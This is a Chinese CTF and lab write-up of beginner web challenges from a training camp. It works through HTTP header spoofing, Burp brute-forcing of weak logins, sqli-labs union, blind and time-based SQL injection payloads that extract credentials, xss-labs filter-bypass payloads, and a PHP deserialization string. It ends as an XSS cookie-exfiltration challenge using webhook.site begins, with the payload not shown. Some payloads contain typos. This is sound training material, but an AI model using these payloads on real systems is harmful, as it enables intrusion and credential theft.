Rois冬令营题解
Rois冬令营题解
MooSeWeek 1
Web
1.vue-terminal
用到了一些比较基础的Linux命令:ls cd cat
- 首先获取next url /cd-t0-d1r
- 再将获取到的url添加到网页地址后面,继续进行下一个url的获取
- 注意!这里是f1ag,不是flag!!!卡了半天才发现。。。建议直接复制,不要手敲 以免眼睛一滑落入陷阱>_<
- 类似的,同样将获取到的url添加到网页地址后面,并使用cat command
- 最后就顺顺利利地拿到flag啦^_^(虽然简单,但是自己解决问题拿到标志之后还是会有小小的成就感!)
算是跨出了第一步!!!
2.easy_PDD
http://124.70.99.199:8100
是兄弟就来砍一刀!
快分享给更多的人一起来砍价吧~
一种基于ip的检测技术
- 根据提示,与ip有关,可利用burpsuite来破解
正确使用X-Forwarded-For
1.首先用bp拦截HTTP信息,并发送到repeater
2.用X-Forwarded-For(简称XFF)进行ip检测
- 后加任意4个数字eg:1.1.1.1
易错点
1.注意:X-Forwarded-For不能换行写,不能改变请求包的格式!!!不然就会请求失败!(错了无数次才找到原因!)
例如:下面这个做法是错误的:
- 这样会导致X-Forwarded-For请求失败,ip无法识别
2.注意格式,一般要留两行空行!!!
例如:下面这个做法是错误的:
- 这样做会导致bp卡在这个界面无法加载!!!
而正确做法应该这样:
使用intruder短时间内发出大量请求
- 发送到intruder后添加§
- 设置payload
- 最后短时间内发出大量请求,获得flag
3.ez_maze
http://124.70.99.199:8200/
你能通关大土豆写的网页迷宫吗?
解法一
刚拿到这道题的时候,觉得很有趣,居然没两下就给玩儿通关了!而且因为第一次通关的时候忘记复制flag了,于是又玩了一遍,立马又通关了一次~(可能是我的电脑比较好操作)
解法二
非常抽象的做法,偶然间按倒回车键,发现撞墙框框重新弹了一遍,操作如下:
- 鼠标移至红点
- 按下回车键
居然就拿到了flag了,像个小bug
解法三
1.首先查看源代码:
- 直接右键 查看源代码
- 键入Ctrl+U
- 在网页地址前加上view-source:
2.接下来按F12打开控制台
- 附:如果所以快捷键都被禁掉了,可以先打开任意一个网页,先开控制台,再输入url即可
3.最后在控制台输入flag,就可以拿到flag啦
解法四
1.同理解法三先从网页前端取得源代码,将其复制到VScode
2.用Ctrl+F搜索flag后,发现有对flag定义常量和三目运算符
3.将0x2改为0x0,重新生成网页(记得改成html格式)
4.接触白点就可以获取flag啦
4.HTTP_Challenge
根据题目要求
1.get传参变量ROIS=405
- 打开buepsuite直接在url后加**?ROIS=405**
2.POST传参变量Vegetables=Potato
- 右键点击修改请求方式
右栏这边ROIS会跑到post这边!!!需要手动修改!
接下来再填入POST键值对
卡了两个小时的点!!!,bp小bug?要记得手动修改参数!!!不然就会失败 \>_</
3.用管理员的身份登录
- 使用burpsuite,在cookie中找到character=guest,将把guest改成admin
4.更改IP访问
- 添加X-Forwarded-For:127.0.0.1
5.更改浏览器登陆:ROISRrowser
- useragent:ROISBrowser
6.最后就能顺利获得flag了
极客大挑战
[极客大挑战 2019]Httphttps://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]Http
- 首先打开环境
- 没发现有啥有用的信息,查看一下源代码
- 发现有一个链接,在源代码中可以打开
- 打开链接访问
(这里遇到了一些小问题,就是 goole浏览器出了些状况,打不开这里链接,而Microsoft虽然能打开但是没装插件,不能用bp拦截。最后解决方案是在Microsoft上安装插件,就能继续使用了)
页面显示说请使用用Syclover browser,也就是又要伪造浏览器
- 所以这里可以修改User-Agent:Syclover
这里页面又显示要求从当地ip访问
- 所以我们可以利用XFF来修改ip
- 最后就获得flag啦
最后提交就可以了(这个flag是图片,复制不了,还得一个一个手敲doge)
攻防世界
1.view_source
题目来源:Cyberpeace-n3k0
题目描述:
X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。
题目场景:
这道题考察如何查看网页源代码(在右键被禁的情况下)
- 打开网页源代码后发现,有一串被注释掉的长得很像flag的代码
- 输入一试,还真是flag(属于非常easy的题目)
补充一下几个获取源代码的方法:
- 直接右键 查看源代码
- 键入Ctrl+U
- 在网页地址前加上view-source:
2..robots
题目来源:Cyberpeace-n3k0
题目描述:
X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。
题目场景:
- 首先获取场景后发现是个空白页面,根据提示搜一下robots协议
- 可以看出robots协议主要内容就是查看一个站点根目录是否存在robots.txt文件,我们尝试输入:
- 发现成功进入下一个页面,它提示我们flag在f1ag_1s_h3re.php这个文件中,在url后添加f1ag_1s_h3re.php进入后得到flag,如图:
3.backup
题目来源:Cyberpeace-n3k0
题目描述:
X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!
题目场景:
- 首先获取题目场景,显示如下
- 没啥思路,搜一下index.php的备份文件看看吧
**尝试在URL后面,依次输入常见的文件备份扩展名:“.git” 、“.svn”、“ .swp”“.~”、“.bak”、“.bash_history”、“.bkf” **
发现只有index.php.bak有反应,且会自动下载一个文件
- 选择一个应用打开文件
- 发现flag就在文件里面!
4.cookie
题目来源:Cyberpeace-n3k0
题目描述:
X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’
题目场景:
- 首先获取场景,页面如下
- 我们知道,cookie是用来记住我们的登陆信息的
- 这里尝试用bp抓包一下HTTP
- 发现cookie的信息为:look-here=cookie.php
- 这里尝试了半天才发现应该把cookie.php 放到请求头里
- 发送后发现页面改变
- 查看原始http,flag就跑出来啦
5.disabled_button
题目来源:Cyberpeace-n3k0
题目描述:
X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?
题目场景:
- 首先进入场景
- 提示和前端知识有关,查看一下源代码
- 打开hackbar,可以看到因为disabled存在导致按钮点不开
- 直接删去disabled
- 这样就能点开按钮获得flag了
6.get_post
题目来源:网络和平-n3k0
题目描述:
X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?
题目场景:
首先我们知道,HTTP最常用的两种请求方法是GET和POST,那么下面就用bp来抓包一下
- 打开bp,在GET后面加上?a=1
- 或者直接在右侧栏里添加查询变量
- 接下来再以POST方式请求另一个变量
注:
如果直接加POST变量,别忘了手动加上content type
建议直接右键更改修改方式,好处在于可以自动补全content type
- 在右栏修改查询参数和主体参数(小漏洞,a的值跑到了POST的地方)
- 这样子就可以获得flag了
7.ICS-06型
题目来源:XCTF公司
题目描述:
云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
题目场景:
- 获取场景后发现页面都点不了,除了这个报表中心
- 进入报表中心后 注意到url里有个id=1
- 尝试用bp抓包后进行爆破
- 发现在id=2333时长度变化
- 输入id=2333后获得flag
8.培训-WWW-机器人
题目来源:
题目描述:暂无
题目场景:
- 获取场景
- 感觉很眼熟?和之前robots协议那题很像,于是在url后加上**/robots.txt**
- 进入下一个网页,提示用**/fl0g.php**
- 将其加到url后面
- 打开网页后即可获取flag
9.weak_auth
题目来源:网络和平-n3k0
题目描述:
小宁写了一个登陆验证页面,随手就设了一个密码。
题目场景:
- 获取场景,进入一个登陆界面,先任意输入一段账号密码
- 弹出提示框,以admin的身份登陆
- 也就是在提示:用户名为admin,接下来再找出密码就可以了
- 密码没有思路,尝试一下用bp进行爆破
Tips
- 这里最好最好1.先开启burp,2.然后再打开bp拦截,输入任意一段密码 3.最后点击login!
- 这样子的话 拦截到的就是以“用户名admin,密码任意先敲一段”的登陆网页
- 不要在登陆界面用burp进行拦截 因为这样子的话无法录入用户名和密码,就不好对密码进行修改爆破
- 如果先开启bp拦截,再点burp的话,立马就会被拦截 而且是没有用户名和密码信息的状态!如下:
- 而如果带有用户名和密码信息,则如下:
- 下面我们只要对密码进行爆破就好了
- 这里用了一下一个“常用密码‘’的文件(网上随便找的一个)
- 爆破后对比长度,发现以123456为password时可以成功登陆网页,获取flag
10.baby_web
题目来源:
题目描述:
想想初始页面是哪个
题目场景:
- 进入场景后发现只有HELLO WORLD
- 查阅一下资料:初始页面与index.php有关,于是输入index.php
- 发现还是没反应,试一下用bp抓包
- 在bp里将1.php改为index.php
- 欸,有变化了
- 查看原始HTTP,找到flag
Week 2
SQL注入靶场[sqli-labs]
less-1
1.1首先判断是否存在sql注入
- 进入靶场后,可以看到有以下提示:
- 于是用id=1来尝试(记得加上“?“,必须要英文的问号!!!)
可以观察到,随着id值的改变,查询到的内容也在不断变化
- 一直到id=14都有内容
接下来我们来判断sql语句是否拼接,并且是字符型还是数字型
- 输入
?id=1'
- 尝试
?id=1'--+
可以根据结果指定是字符型且存在sql注入漏洞。
- 因为该页面存在回显,所以我们可以使用联合查询。
联合查询就是两个sql语句一起查询
- 两张表具有相同的列数
- 且字段名是一样的。
1.2 联合注入
第一步:判断出列数
首先我们需要知道表格有几列
- 如果显示正常就是没有超出列数,
- 如果报错就是超过列数。
用?id=1' order by 1--+
来判断:
- 发现从1到3都显示正常,而到了4时报错,说明列数为3
第二步:爆出显示位
就是看看表格里面那一列是在页面显示的。
通过下面代码来判断:
1 | ?id=-1'union select 1,2,3--+ |
- 可以看到是第二列和第三列里面的数据是显示在页面的。
第三步:获取当前数据库名
- 这里涉及mysql数据库的一些函数
通过下面代码来获取:
1 | ?id=-1' union select 1,database(),version()--+ |
- 通过结果知道当前数据名是security,版本是5.7.26。
其实这一题用不到版本,所以这样子就可以了
1 | ?id=-1' union select 1,database(),3--+ |
当然了,这样子也可以:
1 | ?id=-1' union select 1,2,database() --+ |
各种方法都尝试一遍,多敲多尝试!增进印象 加深理解!!!
注意:(重点)
易错处:database不要打成datebase,并且这里不用加s
第四步: 爆表
通过下面代码来爆表:
1 | ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ |
information_schema.tables表示该数据库下的tables表
点”**.**“表示下一级
where后面是条件
group_concat()是将查询到结果连接起来
如果不用group_concat查询到的只有user。
- 该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。
结果如下:
第五步:爆字段名
我们通过sql语句查询知道当前数据库有四个表
- 根据表名知道可能用户的账户和密码是在users表中
- 接下来我们就是得到该表下的字段名以及内容。
1 | ?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ |
该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内r容。
- 注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
第六步:获取字段内容
通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。
- 可以通过一个id可以隔一下账户和密码
1 | ?id=-1' select 1,2,group_concat(username,id,password) from users--+ |
- 也可以将账户和密码分开来查询
1 | ?id=-1' union 1,group_concat(username),group_concat(password) from users--+ |
总结
已知题目为get传参(若题目未给出,可以用bp拦截来判断)
通过测试可以判断出是单引号闭合,开始注入
?id=1' order by 4 --+
:通过这段代码判断出字段数为3?id=1' and 1=2 union select 1,2,database() --+
:爆出数据库名?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
:爆出所有表名?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
:爆出一个表中的所有字段名?id=1' and 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+
爆出用户名和密码
less-2
判断注入类型
1 | ?id=1 |
1 | ?id=1' |
判断列数
1 | ?id=1 order by 3 |
1 | ?id=1 order by 4 |
- 说明列数为3
1 | ?id=-1 union select 1,2,3 |
或者
1 | ?id=-1 and 1=2 union select 1,2,3 --+ |
爆出数据库名
1 | ?id=-1 union select 1,database(),version() |
或者:
1 | ?id=-1 and 1=2 union select 1,database(),version()--+ |
- 得到数据库名security
爆出表名
1 | ?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' |
或者:
1 | ?id=-1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ |
易错:最后是table_schema ,不是table_name!!!
- 得到表名users
爆出字段名
1 | ?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' |
或者:
1 | ?id=-1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ |
- 得到字段名column_name
爆出用户名和密码
1 | ?id=-1 union select 1,group_concat(username),group_concat(password) from users |
或者:
1 | ?id=-1 and 1=2 union select 1,group_concat(username),group_concat(password) from users--+ |
- 最后就可以获取用户名和密码
less-3
1 | ?id=1 |
1 | ?id=1' |
1 | ?id=1\ |
1 | ?id=1') and 1=1 --+ |
1 | ?id=1') and 1=2 --+ |
1 | ?id=1') order by 3 --+ |
1 | ?id=1') order by 4 --+ |
1 | ?id=-1') union select 1,2,3 --+ |
1 | ?id=-1') union select 1,database(),version()--+ |
1 | ?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ |
1 | ?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ |
1 | ?id=-1') union select 1,group_concat(username),group_concat(password) from users--+ |
总结
1 | ?id=1') --+ |
1 | ?id=1') order by 3--+ |
1 | ?id=-1') union select 1,2,3--+ |
1 | ?id=-1') union select 1,database(),version()--+ |
1 | ?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ |
1 | ?id=-1;) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ |
1 | ?id=-1') union select 1,group_concat(username),group_concat(password) from users--+ |
less-4
1 | ?id=1 |
1 | ?id=1' |
1 | ?id=1\ |
1 | ?id=1") --+ |
易错:是双引号 不是两个单引号!!!
1 | ?id=1") order by 3--+ |
1 | ?id=1") order by 4 --+ |
1 | ?id=-1") union select 1,2,3 --+ |
1 | ?id=-1") union select 1,database(),version()--+ |
1 | ?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ |
1 | ?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ |
1 | ?id=-1") union select 1,group_concat(username),group_concat(password) from users--+ |
总结
1 | ?id=1") order by 3--+ |
less-5
1 | ?id=1 |
1 | ?id=1\ |
1 | ?id=1' --+ |
判断数据库长度
- 利用**length()**函数获取数据库名的长度
1 | ?id=1' and length((select database()))>7--+ |
1 | ?id=1' and length((select database()))>8--+ |
- 除了用”>“,还可以用”<“和”=“来判断
- 例如数据库是haha那么length()就是4
- 判断列数
1 | ?id=1' order by 3 --+ |
1 | ?id=1' order by 4 --+ |
- 故字段数为3,有3列
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
- 判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
- 逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
- 判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
- 逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
- 判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
- 逐一检测内容。
less-6
第六关和第五关是差不多
- 根据页面报错信息可以猜测id参数是双引号
- 只需将第五关的单引号换成双引号就可以了。
less-7
第七关当在输入id=1,页面显示you are in…
当我们输入id=1’时显示报错,但是没有报错信息
当我们输入id=1”时显示正常
所以我们可以断定参数id是单引号字符串。
- 因为单引号破坏了他原有语法结构。
- 然后输入id=1’–+时报错,这时候我们可以输入id=1’)–+发现依然报错
- 试试是不是双括号输入id=1’))–+,发现页面显示正常。
- 下面的过关手法和前面就一样了 布尔盲注
less-8
第八关和第五关一样
- 只不过第八关没有报错信息
- 但是有you are in..进行参照。
- id参数是一个单引号字符串。
less-9
第九关会发现我们不管输入什么页面显示的东西都是一样的
这个时候布尔盲注就不适合我们用
布尔盲注适合页面对于错误和正确结果有不同反应。
如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别
- 只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)
- 如果a结果是真的,那么执行sleep(10)页面延迟10秒
- 如果a的结果是假,执行1,页面不延迟。
- 通过页面时间来判断出id参数是单引号字符串。
?id=1' and if(1=1,sleep(5),1)--+
- 判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
- 判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
- 逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
- 判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
- 逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
- 判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
- 逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
- 判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
- 逐一检测内容。
less10
第十关和第九关一样
- 只需要将单引号换成双引号。
less11
从第十一关开始,可以发现页面就发生变化了,
- 是账户登录页面。
那么注入点就在输入框里面。
前十关使用的是get请求,参数都体现在url上面
而从十一关开始是post请求,参数是在表单里面。
我们可以直接在输入框进行注入就行。并且参数不在是一个还是两个。根据前面的认识我们可以猜测sql语句。大概的形式应该是这样username=参数 and password=参数 ,只是不知道是字符型还是整数型。
当我们输入1时出现错误图片
当我们输入1’,出现报错信息。根据报错信息可以推断该sql语句username=’参数’ and password=’参数’
知道sql语句我们可以构造一个恒成立的sql语句,看的查询出什么。这里我们使用–+注释就不行,需要换成#来注释, 这个就和我们第一关是一样了。使用联合注入就可以获取数据库信息。
less-12
当我们输入1’和1时候页面没有反应
当我们输入1”的时候页面出现报错信息,就可以知道sql语句是双引号且有括号。
那么我们可以构造下面语句进行sql注入。
1 | 1" ) or 1=1 #判断是否存在sql注入。 |
less-13
十三关和十二关差不多
- 只需要将双引号换成单引号。
less-14
十四关和十一关差不多
- 只需要将单引号换成双引号。
less-15
第十五关和第十一关一样
- 只是不产生报错信息
- 这就是明显的布尔盲注
- 因为还有错误页面和正确页面进行参考。
less-16
第十六关和十二关一样,需要布尔盲注。
less-17
less-18
less-19
less-20
Web
DVWA
这是一个DVWA靶场!账号是admin,密码是什么?你猜猜?
该靶场的flag就是密码经过md5加密后的字符串,格式如下:
ROIS{md5加密后的字符串}
- 首先打开网址,进入一个登录界面
- 我们来使用bp抓包
- 小技巧:先打开bp,后开启拦截,最后点login拦截
- 将拦截到的HTTP发送到intruder进行爆破
- 首先对password和user_token添加payload
- 由于是含user_token的弱密码爆破,所以选用Pitchfork作为攻击类型
- 导入密码字典
- Payload2类型用Recursive grep
- 重点:这里有个小坑,必须开启重定向才能找到token值
- 所以设置一个跟随重定向
- 添加value值
- 将刚刚复制的payload粘贴到这里
- 创建一个新的资源池,最大并发请求数为1
- 最后进行爆破就行了
- 成功进入界面,密码为password,将其进行md5加密
- 经过尝试,发现flag为32位小写字符串
SQL注入小测试-easy
- 提示我们以admin为用户名登录
- 但是没有给出密码 需要另想办法
- 于是我们用SQL注入里的小技巧进行登陆
- admin后面加上’,构造闭合
- 再加上一个**#**,注释掉后面的内容 相当于跳过了对密码的识别
- 相当于只让它识别到我们以“admin”为用户名登陆
- 而跳过了密码识别这个环节 因为被我们注释掉了
- 所以随便敲一个密码登陆就行
- 这样子就顺利的登陆进去啦
- 登陆成功就拿到flag
SQL注入小测试-normal
- 首先看一下下提示(虽然好像没什么用)
- 进入登陆界面 emmmm用admin试一下
- 那测试一下注入点吧
- 用1‘的时候报错 说明存在闭合
- 加上#注释掉后面的内容 就可以输入id
- 那么就可以在id里面进行一些操作了
- 这里我们先判断列数:
- 先试一下2
- 再试一下3
- 试4的时候发现报错 就是不存在第4列的意思
- 4以后的都不行了
- 于是确认列数为3
- 查询一下看看哪里有回显
- 欸 发现第2列有回显内容
- 那就可以用来判断语句了
- 先查数据库名
- 再查表名
1 | -1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='normal'# |
- 接下来查字段名也就是列名
1 | -1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'# |
- 查询到username和password这两个字段名
- 最后查它们的具体内容
1 | -1' union select 1,group_concat(username,':',password),3 from users# |
- flag就在password里
SQL注入小测试-hard
- 先测试注入
- 判断应该是单引号闭合
- 判断一下列数
- 发现列数4不存在
- 确认列数为3后我们来查询一下看看哪个位置有回显
- 发现都没有回显!
- 只有登陆成功和密码错误
- 于是采用布尔盲注
布尔盲注需要用到python脚本,鉴于还没学习python语法 这里暂时没办法自己写脚本>_<
但是思路可以记一下
- 先通过盲注来测试数据库的长度,类似靶场里的第五题 通过是否显示:“欢迎登陆”来判断我们的语句是否正确
- 再获取数据库名 这里就需要对每一个字母都进行判断 相当于设置两个循环语句
- 获取数据库名后再爆取表名 同样用ascii函数 对每一个字母判断一轮 然后一次次地获取整条字符串的信息
- 然后以类似的方法获取字段名 其实和联合注入的方法有些类似
- 然后在表里获取我们要的flag就行了 按照上一题的逻辑应该是放在“password”里面
- 可见 如果不写脚本的话 布尔盲注的计算量是比较庞大的
Week 3
XSS攻击靶场[xss-labs]
在学习完xss的基本知识后,来练练靶场熟悉一下题目吧~
- 先来了解一下这个靶场
- xss就是让其执行js代码
- 一般验证的都是alert()这个方法
- 所以xss-lab给alert加了一个事件
- 只要检测到我们运行了alert()
- 就会弹出完成的不错,并且重定向到下一关
level-1
- 首先我们进入靶场,并没有发现输入框
- 查看一下源代码
- GET传参,直接在url处添加参数
- 把参数用script替代 就可以实现xss
- 下面是弹窗的script标签代码:
1 | <script>alert(1)</script> |
- 这样子就完成了第一关
level-2
- 下面进入第二关
- 我们来分析一下源代码
1 | <!DOCTYPE html><!--STATUS OK--><html> |
以下是代码的主要部分:
window.alert
覆盖了默认的alert
函数,当调用alert
函数时,会触发一个确认框。- 确认框显示消息 “完成的不错!”。
- 如果用户点击确认,将会重定向到 “level3.php?writing=wait” 页面。
- 这段代码的目的是在用户完成某个任务后,自动跳转到下一个级别的页面。
<title>
标签设置网页标题为 “欢迎来到level2”。<h1>
标签用于在网页中居中显示标题 “欢迎来到level2”。- PHP 代码部分:
ini_set("display_errors", 0);
禁用错误显示,以防止显示敏感信息。$_GET["keyword"]
获取通过 GET 请求传递的名为 “keyword” 的参数的值。echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>";
在网页中显示没有找到与用户输入的 “keyword” 参数相关的结果。<form action=level2.php method=GET>
创建一个表单,将数据提交到 “level2.php” 页面,并使用 GET 方法。<input name=keyword value="'.$str.'">
创建一个输入框,用于输入搜索关键字,并将之前用户输入的 “keyword” 参数的值作为默认值。<input type=submit name=submit value="搜索"/>
创建一个提交按钮,用于提交搜索表单。echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
在网页中显示用户输入的 “keyword” 参数的长度。
<center><img src=level2.png></center>
用于在网页中居中显示一个名为 “level2.png” 的图像。
从源代码中我们可以看到
这次参数变成了keyword
并且从页面获取参数之后,参数保存在str中
补充:
htmlspecialchars() 函数
htmlspecialchars()
把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体:
也就是说不能使用**< >**这一类,那就用:
1 | "onmouseover="alert(1) |
- 注意:“**=**”在引号里面!!!
补充:
onmouseover
onmouseover
是一种JavaScript事件onmouseover
事件会在鼠标指针移动到指定的元素上时发生
- 所以当鼠标移至弹窗上时就会显示:
- 当然了也可以直接在url处直接输入
- 结果如下:
- 这里会冒出一个新的输入框,把鼠标移至上面就会显示弹窗啦
level-3
- 来到第三关
- 还是来先分析一下源代码吧
1 | <!DOCTYPE html><!--STATUS OK--><html> |
以下是代码的主要部分:
window.alert
覆盖了默认的alert
函数,当调用alert
函数时,会触发一个确认框。- 确认框显示消息 “完成的不错!”。
- 如果用户点击确认,将会重定向到 “level4.php?keyword=try harder!” 页面。
- 这段代码的目的是在用户完成某个任务后,自动跳转到下一个级别的页面。
<title>
标签设置网页标题为 “欢迎来到level3”。<h1>
标签用于在网页中居中显示标题 “欢迎来到level3”。- PHP 代码部分:
ini_set("display_errors", 0);
禁用错误显示,以防止显示敏感信息。$_GET["keyword"]
获取通过 GET 请求传递的名为 “keyword“ 的参数的值。echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>";
在网页中显示没有找到与用户输入的 “keyword” 参数相关的结果。<form action=level3.php method=GET>
创建一个表单,将数据提交到 “level3.php” 页面,并使用 GET 方法。<input name=keyword value='".htmlspecialchars($str)."'>
创建一个输入框,用于输入搜索关键字,并将之前用户输入的 “keyword” 参数的值作为默认值。<input type=submit name=submit value=搜索 />
创建一个提交按钮,用于提交搜索表单。echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
在网页中显示用户输入的 “keyword” 参数的长度。
<center><img src=level3.png></center>
用于在网页中居中显示一个名为 “level3.png” 的图像。
- 这道题也同样用了htmlspecialchars(),将属性里的输出进行了实体编码,不能用< >
- 但是题目中htmlspecialchars()只给了一个参数,没给第二个flags参数
- 所以flags为默认,仅编码双引号,我们用单引号试试
1 | 'onmouseover='alert(1) |
- 成功弹出alert提示
level-4
- 进入第四关
- 观察源代码 没有太大区别
- 只是多了对< >的过滤
1 | $str2=str_replace(">","",$str); |
- 可见<和>会被替换成空
但是我们用的是属性,而不是标签,所以用第2题的方法即可
1 | "onmouseover="alert(1) |
(这边我试了第3关的做法 即单引号 但不行)
level-5
- 通过分析源代码可知
- 这道题过滤了script标签和on关键字
因此这道题用伪协议进行绕过:
1 | "><a href="javascript:alert(1)"> |
- 点击
- 即可通关
level-6
- 这道题看似过滤了一大堆东西:
script
on
src
data
href
但是!!!
- html对大小写不敏感!
解法一:
- on被过滤替换了,但是我们可以使用ON
解法二:
- href被过滤了,但是可以用HREF
- 同样点击这地方 显示弹窗
level-7
- 来到第七关
- 我们来分析一下代码
- 与上一题相比,同样有一大堆过滤
- 最大的差别在于strtolower()函数:对大小写限制
- 导致上一题的解法不能使用
补充:
strtolower()函数
strtolower()
函数把字符串转换为小写
- 一般用于限制大小写,即过滤大小写
- 于是采用双写绕过
1 | "oonnmouseover="alert(1) |
level-8
看一下源代码:
- 这下不是替换为空了
- 而是加到href里的,正好我们直接用伪协议了
但是代码里面进行了script的替换
- 那我们只要让代码识别不出是script就行
- 把script里面随便一个字母通过html编码,
- 然后再通过url编码
以s字母为例:
- 我这边用的是bp进行编码
得到s的编码值:
%26%23%78%37%33%3b
于是:
1 | java%26%23%78%37%33%3bcript:alert(1) |
- 回车
- 点一下友情链接
level-9
- 查看源代码
可以看到又加了个限制:链接里面必须得有http://关键字
- 那简单,我们alert里面不输出1,输出**http://**不就好了
- 但是alert(“http://”)时,双引号被过滤了!
- 所以还得用同样的方法,对双引号先html 再URL进行编码
s编码:%26%23%78%37%33%3b
“编码:%26%23%78%32%32%3b
1 | java%26%23%78%37%33%3bcript:alert(%26%23%78%32%32%3bhttp://%26%23%78%32%32%3b) |
- 在url处输入,不要在输入框输入(不知为何 但不行)
level-10*
- 这道题不太一样,从源代码中可以看到:
- 我们需要注入的参数应该是t_sort,而不是keyword!
- form表单里面的不能忽略,如果是黑盒就要一个个试了
- 这道题没有输入框,我们在url输入参数:
1 | t_sort=" onmouseover="alert(1) |
- 注入发现没反应
- F12 删除这个hidden
- 删除后出现输入框
- 鼠标移至输入框上即可
补充
hidden属性
hidden 属性可以对元素进行隐藏。
- 隐藏的元素不会被显示
- 在本题中hidden用于隐藏输入框,因此我们需要手动删除hidden
Tips
该删哪个hidden?
- 得分析源代码
- 如本题,则删t_sort处的hidden
level-11
- 这道题的参数不是get也不是post,而是来源于http请求头的Referer字段
- 因此这里要删除的hidden是:
重点
- 这里要修改的参数应该是t_ref!
- 首先F12打开控制台 Ctrl+F找到hidden
- 第二步修改t_ref出的value参数值
- 第三步删除hidden
- 出现输入框
- 鼠标移至其上即可
level-12
- 与上一关方法相同
- 唯一不一样的就是这次是在user-agent字段
- 类似的,第一步修改value参数值
1 | " onmouseover="alert(1) |
- 第二步删除hidden
- 删除后如下:
- 页面出现输入框,鼠标移至其上即可通关
level-13
- 与前两题一样的思路方法
- 只不过参数变为了cookie
- 第一步 修改t_cook处的value参数值为
1 | " onmouseover="alert(1) |
- 第二步 删除hidden
- 出现显示框:
- 鼠标移至显示框上,出现弹窗~
level-14
level-15
level-16
level-17
level-18
level-19
level-20
Web
unserialize-1
- 首先打开链接发现页面为空白
- 应该是只有出flag的时候才会回显
- 我们来分析一下源代码
1 | <?php |
涉及到
__wakeup()
和__toString()
的两个魔术方法从代码中可以看出,当__tostring()被调用时就会echo出flag
那么问题就转化为如何触发__tostring():
- __tostring()将对象被作为字符串中过程中会自动调用
- 下面我们自己写一个php
1 | <?php |
- 并打印出序列化后的字符串
- 输出打印
- 得到序列化后的字符串
- 在url后加上**/?input=**
O:4:"Name":2:{s:4:"name";s:5:"Moose";s:8:"password";O:4:"Name":2:{s:4:"name";s:5:"Moose";s:8:"password";s:3:"412";}}
- 拿到flag!!!
XSS-1
- 首先进入靶场,有一个输入框
- 分析一下源代码
1 | <script> |
- 注意到alert(eval(payload));
- 说明输入后的指令由eval执行,并且本题没有如何过滤
也就是说 构造payload时不需要加JavaScript标签,直接构造payload即可
1 | https://webhook.site |
这道题考察的是通过XSS外带Cookie,那么就要借助webhook
并且大概率flag就是admin用户的Cookie
- 构造payload如下:
